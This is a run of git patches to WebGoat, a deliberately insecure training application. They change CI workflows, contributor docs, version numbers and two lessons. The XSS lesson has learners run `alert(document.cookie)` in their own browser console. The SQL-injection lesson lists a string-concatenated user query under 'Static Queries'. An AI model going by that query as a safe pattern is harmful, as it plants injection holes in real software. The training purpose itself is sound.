are from the develop branch. - You do not need to close this PR, you can change the target branch to `development` by clicking the _"Edit"_ button at the top of this page. \ No newline at end of file From 5164514789f129af5572b0c872aff0ad019e45d9 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Thu, 30 Sep 2021 17:09:21 +0200 Subject: [PATCH 044/227] Remove Slack integration from build as it needs a token and will never work when PR is received from a fork. --- .github/workflows/build.yml | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 5a913a9f7..df196213e 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -44,15 +44,3 @@ jobs: restore-keys: ${{ runner.os }}-m2 - name: Build with Maven run: mvn clean install - - notify-slack: - if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push' && (success() || failure()) - needs: - - build - runs-on: ubuntu-latest - steps: - - name: "Slack workflow notification" - uses: Gamesight/slack-workflow-status@master - with: - repo_token: ${{secrets.GITHUB_TOKEN}} - slack_webhook_url: ${{secrets.SLACK_WEBHOOK_URL}} \ No newline at end of file From 5adf1d1dd70cca753895977273eba22456a30e48 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Thu, 30 Sep 2021 17:11:08 +0200 Subject: [PATCH 045/227] Renaming the actions --- .github/workflows/{quality_checks.yml => branch_build.yml} | 2 +- .github/workflows/{build.yml => pr_build.yml} | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) rename .github/workflows/{quality_checks.yml => branch_build.yml} (97%) rename .github/workflows/{build.yml => pr_build.yml} (97%) diff --git a/.github/workflows/quality_checks.yml b/.github/workflows/branch_build.yml similarity index 97% rename from .github/workflows/quality_checks.yml rename to .github/workflows/branch_build.yml index 7e68e6000..41dc36375 100644 --- a/.github/workflows/quality_checks.yml +++ b/.github/workflows/branch_build.yml @@ -1,4 +1,4 @@ -name: "Testing and linting" +name: "Branch build" on: push: branches-ignore: diff --git a/.github/workflows/build.yml b/.github/workflows/pr_build.yml similarity index 97% rename from .github/workflows/build.yml rename to .github/workflows/pr_build.yml index df196213e..6584fe04f 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/pr_build.yml @@ -1,4 +1,4 @@ -name: "Build" +name: "Pull request build" on: pull_request: paths-ignore: From 8e6d87d429e58e97d1143f4530ed9d1fdd33b73d Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Thu, 30 Sep 2021 18:53:27 +0200 Subject: [PATCH 046/227] Remove unnecessary action --- .github/workflows/rebase.yml | 19 ------------------- 1 file changed, 19 deletions(-) delete mode 100644 .github/workflows/rebase.yml diff --git a/.github/workflows/rebase.yml b/.github/workflows/rebase.yml deleted file mode 100644 index 5889c17c4..000000000 --- a/.github/workflows/rebase.yml +++ /dev/null @@ -1,19 +0,0 @@ -name: "Automatic Rebase" -on: - issue_comment: - types: [created] -jobs: - rebase: - name: Rebase - if: github.repository == 'WebGoat/WebGoat' && github.event.issue.pull_request != '' && contains(github.event.comment.body, '/rebase') && github.event.comment.author_association == 'MEMBER' - runs-on: ubuntu-latest - steps: - - name: Checkout the latest code - uses: actions/checkout@v2 - with: - token: ${{ secrets.GITHUB_TOKEN }} - fetch-depth: 0 # otherwise, you will fail to push refs to dest repo - - name: Automatic Rebase - uses: cirrus-actions/rebase@1.4 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file From dfa0e1cdca202a9e3ccff0c4b6c1cfb5e982cd06 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Fri, 1 Oct 2021 19:45:24 +0200 Subject: [PATCH 047/227] XSS Lesson one boolean response MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Àngel Ollé Blázquez --- .../test/java/org/owasp/webgoat/XSSTest.java | 2 +- .../xss/CrossSiteScriptingLesson1.java | 4 +- .../resources/html/CrossSiteScripting.html | 3 +- .../resources/i18n/WebGoatLabels.properties | 2 +- .../en/CrossSiteScripting_content1.adoc | 5 +- .../xss/CrossSiteScriptingLesson1Test.java | 76 +++++++++++++++++++ 6 files changed, 84 insertions(+), 8 deletions(-) create mode 100644 webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1Test.java diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XSSTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XSSTest.java index 8d01547d9..83c35e320 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XSSTest.java +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XSSTest.java @@ -16,7 +16,7 @@ public class XSSTest extends IntegrationTest { Map params = new HashMap<>(); params.clear(); - params.put("answer_xss_1", "yes"); + params.put("checkboxAttack1", "value"); checkAssignment(url("/CrossSiteScripting/attack1"), params, true); params.clear(); diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1.java b/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1.java index 3f988a8e2..f9141c93d 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1.java +++ b/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1.java @@ -36,8 +36,8 @@ public class CrossSiteScriptingLesson1 extends AssignmentEndpoint { @PostMapping("/CrossSiteScripting/attack1") @ResponseBody - public AttackResult completed(@RequestParam String answer_xss_1) { - if (answer_xss_1.toString().toLowerCase().equals("yes")) { + public AttackResult completed(@RequestParam(value = "checkboxAttack1", required = false) String checkboxValue) { + if (checkboxValue != null) { return success(this).build(); } else { return failed(this).feedback("xss.lesson1.failure").build(); diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/html/CrossSiteScripting.html b/webgoat-lessons/cross-site-scripting/src/main/resources/html/CrossSiteScripting.html index f4a037966..93f4d6d09 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/html/CrossSiteScripting.html +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/html/CrossSiteScripting.html @@ -15,8 +15,7 @@ action="/WebGoat/CrossSiteScripting/attack1"> - - + diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties index 91d3fff5b..81b40e219 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties @@ -17,7 +17,7 @@ xss-reflected-6a-hint-1=To search through the client side code, use the develope xss-reflected-6a-hint-2=Since you are looking for application code, check the WebGoat/js/goatApp folder for a file that could handle the routes. xss-reflected-6a-hint-3=Make sure you add the base route at the start, when submitting your solution. xss-reflected-6a-hint-4=Still did not find it? Check the GoatRouter.js file. It should be pretty easy to determine. -xss.lesson1.failure=Are you sure? Try using a tab from a different site. +xss.lesson1.failure=The cookies should be the same on both tabs. Ensure that the tabs are from the same site. xss-dom-message-success=Correct, I hope you did not cheat, using the console! xss-dom-message-failure=Incorrect, keep trying. It should be obvious in the log when you are successful. xss-dom-message-hint-1=Open a new tab and navigate to the test-route you just figured out in the previous lesson. diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content1.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content1.adoc index 4e64a7c83..4771c4e61 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content1.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content1.adoc @@ -28,5 +28,6 @@ alert(document.cookie); == Try It! Using Chrome or Firefox -* Open a second tab and use the same url as this page you are currently on (or any url within this instance of WebGoat) -* Then, on that second that open the browser developer tools and open the javascript console. And type: `alert(document.cookie);` . +* Open a second tab and use the same url as this page you are currently on (or any URL within this instance of WebGoat). +* Then, on that second tab open the browser developer tools and open the javascript console. And type: `alert(document.cookie);`. +* The cookies should be the same on each tab. diff --git a/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1Test.java b/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1Test.java new file mode 100644 index 000000000..3f2c0f48e --- /dev/null +++ b/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1Test.java @@ -0,0 +1,76 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.xss; + +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; +import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; + +import org.hamcrest.CoreMatchers; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.junit.jupiter.MockitoExtension; +import org.owasp.webgoat.assignments.AssignmentEndpointTest; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; + +/** + * + * @author Angel Olle Blazquez + * + */ + +@ExtendWith(MockitoExtension.class) +class CrossSiteScriptingLesson1Test extends AssignmentEndpointTest { + + private static final String CONTEXT_PATH = "/CrossSiteScripting/attack1"; + + @Autowired + private MockMvc mockMvc; + + @BeforeEach + public void setup() { + CrossSiteScriptingLesson1 crossSiteScriptingLesson1 = new CrossSiteScriptingLesson1(); + init(crossSiteScriptingLesson1); + mockMvc = standaloneSetup(crossSiteScriptingLesson1).build(); + } + + @Test + void success() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post(CONTEXT_PATH) + .param("checkboxAttack1", "value")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); + } + + @Test + void failure() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post(CONTEXT_PATH)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + } + +} From a7b9954d0fa8aba37d2b72050f8971cdf10aa384 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Thu, 30 Sep 2021 16:53:43 +0200 Subject: [PATCH 048/227] 1101: fix quoting in statement --- .../lessonPlans/en/SqlInjection_content7.adoc | 21 +++++++++++-------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc index 20a3e9045..371fcf0dc 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc @@ -1,23 +1,26 @@ == Immutable Queries -These are the best defense against SQL injection. They either do not have data that could get interpreted or they treat the data as a single entity that is bound to a column without interpretation. +These are the best defense against SQL injection. They either do not have data that could get interpreted, or they treat the data as a single entity that is bound to a column without interpretation. === Static Queries -------------------------------------------------------- -SELECT * FROM products; -------------------------------------------------------- -------------------------------------------------------- -SELECT * FROM users WHERE user = "'" + session.getAttribute("UserID") + "'"; -------------------------------------------------------- +---- +String query = "SELECT * FROM products"; +---- + +---- +String query = "SELECT * FROM users WHERE user = '" + session.getAttribute("UserID") + "'"; +---- === Parameterized Queries -------------------------------------------------------- + +---- String query = "SELECT * FROM users WHERE last_name = ?"; PreparedStatement statement = connection.prepareStatement(query); statement.setString(1, accountName); ResultSet results = statement.executeQuery(); -------------------------------------------------------- +---- === Stored Procedures + Only if stored procedure does not generate dynamic SQL From b79a9c6b2c631f7d179907fc852efd5af8a874f7 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Thu, 30 Sep 2021 18:54:56 +0200 Subject: [PATCH 049/227] Build should use Java 16 --- .github/workflows/branch_build.yml | 8 ++++---- .github/workflows/pr_build.yml | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml index 41dc36375..d45afdfa3 100644 --- a/.github/workflows/branch_build.yml +++ b/.github/workflows/branch_build.yml @@ -11,11 +11,11 @@ jobs: name: "Package and linting" steps: - uses: actions/checkout@v2 - - name: set up JDK 15 + - name: set up JDK 16 uses: actions/setup-java@v2 with: distribution: 'zulu' - java-version: 15 + java-version: 16 architecture: x64 - name: Cache Maven packages uses: actions/cache@v2.1.5 @@ -36,11 +36,11 @@ jobs: - mvn -pl webgoat-integration-tests test steps: - uses: actions/checkout@v2 - - name: set up JDK 15 + - name: set up JDK 16 uses: actions/setup-java@v2 with: distribution: 'zulu' - java-version: 15 + java-version: 16 architecture: x64 - name: Cache Maven packages uses: actions/cache@v2.1.5 diff --git a/.github/workflows/pr_build.yml b/.github/workflows/pr_build.yml index 6584fe04f..e1b51e9e1 100644 --- a/.github/workflows/pr_build.yml +++ b/.github/workflows/pr_build.yml @@ -27,7 +27,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, windows-latest, macos-latest] - java: [15] + java: [16] steps: - uses: actions/checkout@v2 - name: Set up JDK ${{ matrix.java }} From dc71975f27f5e7fa3a0729c8f085bd35ddb4f195 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Thu, 30 Sep 2021 18:57:01 +0200 Subject: [PATCH 050/227] No need to do `mvn clean` --- .github/workflows/branch_build.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml index d45afdfa3..eac995619 100644 --- a/.github/workflows/branch_build.yml +++ b/.github/workflows/branch_build.yml @@ -24,7 +24,7 @@ jobs: key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} restore-keys: ubuntu-latest-m2 - name: Test with Maven - run: mvn clean install -DskipTests + run: mvn install -DskipTests testing: needs: install-notest From 9e15e9500118888b9e7a41b820de0f72e897ffef Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Thu, 30 Sep 2021 19:01:45 +0200 Subject: [PATCH 051/227] Remove `signoff` action as it will not work with forked repositories --- .github/workflows/signoff_mr.yml | 47 -------------------------------- 1 file changed, 47 deletions(-) delete mode 100644 .github/workflows/signoff_mr.yml diff --git a/.github/workflows/signoff_mr.yml b/.github/workflows/signoff_mr.yml deleted file mode 100644 index 5838fd79c..000000000 --- a/.github/workflows/signoff_mr.yml +++ /dev/null @@ -1,47 +0,0 @@ -on: issue_comment - -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: actions/github-script@v5 - if: github.event.action == 'created' - with: - github-token: ${{ secrets.GITHUB_TOKEN }} - script: | - const isValidSignOff = ( - context.payload.action === 'created' && - context.payload.issue.pull_request && - context.payload.comment.user.id === context.payload.issue.user.id && - context.payload.comment.body === '/signoff' - ) - if (!isValidSignOff) return - const pr = await github.pulls.get({ - ...context.repo, - pull_number: context.payload.issue.number - }) - const commits = await github.pulls.listCommits({ - ...context.repo, - pull_number: context.payload.issue.number - }) - const baseCommit = await github.git.getCommit({ - ...context.repo, - commit_sha: pr.data.head.sha - }) - const tree = await github.git.getTree({ - ...context.repo, - tree_sha: baseCommit.data.tree.sha - }) - const commitLines = commits.data.map(item => `- ${item.sha.slice(0, 6)}: ${item.commit.message}`).join('\n') - const header = `I, @${context.payload.comment.user.login}, hereby signoff on these commits:` - const newCommit = await github.git.createCommit({ - ...context.repo, - message: `${header}\n\n${commitLines}`, - tree: tree.data.sha, - parents: [pr.data.head.sha] - }) - await github.git.updateRef({ - ...context.repo, - ref: `heads/${pr.data.head.ref}`, - sha: newCommit.data.sha - }) \ No newline at end of file From 4b32cc36a7904d78fc05e5da5e3512be57a8041a Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sat, 2 Oct 2021 19:04:00 +0200 Subject: [PATCH 052/227] Remove sign off. CLA assistant is structurally broken, let's keep it simple and not enforce signing off etc. There should be no barrier to get help from the community. --- CONTRIBUTING.md | 33 ++++++++++----------------------- PULL_REQUEST_TEMPLATE.md | 8 +------- 2 files changed, 11 insertions(+), 30 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b478ac14d..e1e172452 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -16,19 +16,18 @@ This document describes how you can contribute to WebGoat. Please read it carefu There are a couple of ways on how you can contribute to the project: * **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added. -* **Create a [Pull Request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos. +* **Create a [pull request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos. * **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat). -## How to get your PR Accepted +## How to get your PR accepted -Your PR is valuable to us. And to make sure we can integrate it smoothly, we have a few items for you to consider. In short: +Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short: The minimum requirements for code contributions are: 1. The code _must_ be compliant with the configured Checkstyle and PMD rules. 2. All new and changed code _should_ have a corresponding unit and/or integration test. 3. New and changed lessons _must_ have a corresponding integration test. 4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit. -5. All Git commits within a PR _must_ be [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or [`/signoff` is provided as a comment](https://github.com/JasonEtco/signoff-commit-action) to indicate the contributor's agreement with the [Developer Certificate of Origin](https://developercertificate.org/). Alternatively you commit one signoff commit at the end of your commits by means of `git commit -m "Sign off" --amend --signof`. Additionally, the following guidelines can help: @@ -39,26 +38,14 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change * If you are making spelling corrections in the docs, don't modify other files. * If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request. -### Don't mix code changes with whitespace cleanup - -If you change two lines of code and correct 200 lines of whitespace issues in a file the diff on that pull request is functionally unreadable and will be **rejected**. Whitespace cleanups need to be in their own pull request. - -### Keep your code simple! - -Please keep your code as clean and straightforward as possible. -Furthermore, the pixel shortage is over. We want to see: - -* `opacity` instead of `o` -* `placeholder` instead of `ph` -* `myFunctionThatDoesThings()` instead of `mftdt()` ### Write a good commit message -* Explain why you make the changes. [More infos about a good commit message.][commit_message] +* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d) -* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number][closing-issues-via-commit-messages] to your commit message. +* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message. - For example: `Fix #545` + For example: `Fix #545` or `Closes #10` ## How to set up your Contributor Environment @@ -84,8 +71,8 @@ Furthermore, the pixel shortage is over. We want to see: See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")". 5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues"). 6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66` -7. Open your favorite editor and start making modifications. We recommend using the IntelliJ Idea . -8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m ':Your Commit Message'` to commit the modifications and `git push` to push your modifications to GitHub. +7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/). +8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub. 9. Create a Pull Request (PR) by going to your fork, and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer. 10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR. 11. When starting on a new PR in the future, make sure to always keep your local repo up to date: @@ -105,7 +92,7 @@ If at any time you want to work on a different issue, you can simply switch to a Although we greatly appreciate any and all contributions to the project, there are a few things that you should take into consideration: -* The WebGoat project should not be used as a platform for advertisement of commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section. +* The WebGoat project should not be used as a platform for advertisement for commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section. * Unnecessary self-promotion of tools or blog posts is frowned upon. If you have a relation with on of the URLs or tools you are referencing, please state so in the PR so that we can verify that the reference is in line with the rest of the guide. -Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md "Code of Conduct") for all the details. +Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md) for all the details. diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md index 0f4d52c1a..8a74ce118 100644 --- a/PULL_REQUEST_TEMPLATE.md +++ b/PULL_REQUEST_TEMPLATE.md @@ -1,7 +1 @@ -Thank you for submitting a Pull Request to the WebGoat. Please make sure that: - -- [ ] Status checks have passed (e.g. packaging, linting, testing are fine) -- [ ] Commits are [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or you have a commit which you amend with `git commit -m "Sign off" --amend --signof`. See [Contributing.md](https://github.com/WebGoat/WebGoat/blob/develop/CONTRIBUTING.md) for more details. - -If your PR is related to an issue. Please end your PR test with the following line: -This PR closes #< insert number here >. \ No newline at end of file +Thank you for submitting a pull request to the WebGoat! \ No newline at end of file From ccdede647bcd69838bc0bf105d064b9d17861260 Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Sun, 3 Oct 2021 08:45:33 +0200 Subject: [PATCH 053/227] Sign off Signed-off-by: Jeroen Willemsen --- README.MD | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.MD b/README.MD index 1e83478ef..8086bb37d 100644 --- a/README.MD +++ b/README.MD @@ -1,6 +1,6 @@ # WebGoat 8: A deliberately insecure Web Application -[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml) +[![Pull request build](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml) [![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=develop&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master) [![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat) [![java-jdk](https://img.shields.io/badge/java%20jdk-16-green.svg)](https://jdk.java.net/) From ff67ee64842835acf28c6cbf78c6c47a1c281b32 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 4 Oct 2021 14:40:19 +0200 Subject: [PATCH 054/227] Update to correct version --- docker/pom.xml | 2 +- pom.xml | 2 +- webgoat-container/pom.xml | 2 +- webgoat-integration-tests/pom.xml | 2 +- webgoat-lessons/auth-bypass/pom.xml | 2 +- webgoat-lessons/bypass-restrictions/pom.xml | 2 +- webgoat-lessons/challenge/pom.xml | 2 +- webgoat-lessons/chrome-dev-tools/pom.xml | 2 +- webgoat-lessons/cia/pom.xml | 2 +- webgoat-lessons/client-side-filtering/pom.xml | 2 +- webgoat-lessons/cross-site-scripting/pom.xml | 2 +- webgoat-lessons/crypto/pom.xml | 2 +- webgoat-lessons/csrf/pom.xml | 2 +- webgoat-lessons/html-tampering/pom.xml | 2 +- webgoat-lessons/http-basics/pom.xml | 2 +- webgoat-lessons/http-proxies/pom.xml | 2 +- webgoat-lessons/idor/pom.xml | 2 +- webgoat-lessons/insecure-deserialization/pom.xml | 2 +- webgoat-lessons/insecure-login/pom.xml | 2 +- webgoat-lessons/jwt/pom.xml | 2 +- webgoat-lessons/missing-function-ac/pom.xml | 2 +- webgoat-lessons/password-reset/pom.xml | 2 +- webgoat-lessons/path-traversal/pom.xml | 2 +- webgoat-lessons/pom.xml | 4 ++-- webgoat-lessons/secure-passwords/pom.xml | 2 +- webgoat-lessons/spoof-cookie/pom.xml | 2 +- webgoat-lessons/sql-injection/pom.xml | 2 +- webgoat-lessons/ssrf/pom.xml | 2 +- webgoat-lessons/vulnerable-components/pom.xml | 2 +- webgoat-lessons/webgoat-introduction/pom.xml | 2 +- webgoat-lessons/webgoat-lesson-template/pom.xml | 2 +- webgoat-lessons/webwolf-introduction/pom.xml | 2 +- webgoat-lessons/xxe/pom.xml | 2 +- webgoat-server/pom.xml | 2 +- webwolf/pom.xml | 2 +- 35 files changed, 36 insertions(+), 36 deletions(-) diff --git a/docker/pom.xml b/docker/pom.xml index 0a245d64a..8bb17f6a3 100644 --- a/docker/pom.xml +++ b/docker/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat webgoat-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/pom.xml b/pom.xml index 900d9dbab..f0923b89a 100644 --- a/pom.xml +++ b/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat webgoat-parent pom - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT org.springframework.boot diff --git a/webgoat-container/pom.xml b/webgoat-container/pom.xml index 25cd764a3..b6cdb2928 100644 --- a/webgoat-container/pom.xml +++ b/webgoat-container/pom.xml @@ -9,7 +9,7 @@ org.owasp.webgoat webgoat-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-integration-tests/pom.xml b/webgoat-integration-tests/pom.xml index ff665b923..9ef25459e 100644 --- a/webgoat-integration-tests/pom.xml +++ b/webgoat-integration-tests/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat webgoat-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/auth-bypass/pom.xml b/webgoat-lessons/auth-bypass/pom.xml index 6cefc9d83..cdc98514d 100644 --- a/webgoat-lessons/auth-bypass/pom.xml +++ b/webgoat-lessons/auth-bypass/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/bypass-restrictions/pom.xml b/webgoat-lessons/bypass-restrictions/pom.xml index 4ed518cf6..cd0ec4cdd 100755 --- a/webgoat-lessons/bypass-restrictions/pom.xml +++ b/webgoat-lessons/bypass-restrictions/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/challenge/pom.xml b/webgoat-lessons/challenge/pom.xml index 52c5ff7d9..dc788907d 100644 --- a/webgoat-lessons/challenge/pom.xml +++ b/webgoat-lessons/challenge/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/chrome-dev-tools/pom.xml b/webgoat-lessons/chrome-dev-tools/pom.xml index 4ced9f0ee..fdb4e9726 100644 --- a/webgoat-lessons/chrome-dev-tools/pom.xml +++ b/webgoat-lessons/chrome-dev-tools/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/cia/pom.xml b/webgoat-lessons/cia/pom.xml index 8362fb105..68f02549f 100644 --- a/webgoat-lessons/cia/pom.xml +++ b/webgoat-lessons/cia/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT \ No newline at 